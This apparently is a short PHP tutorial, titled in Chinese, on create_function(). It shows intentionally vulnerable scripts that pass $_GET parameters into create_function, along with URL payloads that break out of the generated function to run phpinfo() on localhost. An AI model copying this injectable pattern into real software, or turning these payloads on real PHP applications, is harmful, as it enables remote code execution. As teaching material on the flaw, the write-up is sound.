PHP create_function()函数应用实例详解

<?php
$newfunc = create_function('$a,$b', 'return "ln($a) + ln($b) = " . log($a * $b);');
echo "New anonymous function: $newfunc\n";
echo $newfunc(2, M_E) . "\n";
?>

<?php
function lambda_1($a,$b){
    return "ln($a) + ln($b) = " . log($a * $b);
}
?>

<?php
error_reporting(0);
$sort_by = $_GET['sort_by'];
$sorter = 'strnatcasecmp';
$databases=array('1234','4321');
$sort_function = ' return 1 * ' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]);';
usort($databases, create_function('$a, $b', $sort_function));
?>

http://localhost/test1.php?sort_by=%27%22]);}phpinfo();/*

$sort_function = ' return 1 * ' . $sorter . '($a["' . $sort_by '"]);}phpinfo();/*

function niming($a,$b){
return 1 * ' . $sorter . '($a["' . $sort_by '"]);}phpinfo();/*
}

function niming($a,$b){
return 1 * ' . $sorter . '($a["' . $sort_by '"]);
}
phpinfo();/*
}

<?php
$c=$_GET['c'];
$lambda=create_function('$a,$b',"return (strlen($a)-strlen($b)+" . "strlen($c));");
$array=array('reall long string here,boy','this','midding lenth','larget');
usort($array,$lambda);
print_r($array);
?>

http://localhost/test2.php?c=1));}phpinfo();/*

$lambda=create_function('$a,$b',"return (strlen($a)-strlen($b)+" . "strlen(1));}phpinfo();/*));");

 function ft($a,$b){
    return (strlen($a)-strlen($b)+" . "strlen(1));}phpinfo();/*));
 }

 function ft($a,$b){
    return (strlen($a)-strlen($b)+" . "strlen(1));
    }
    phpinfo();
    /*));
 }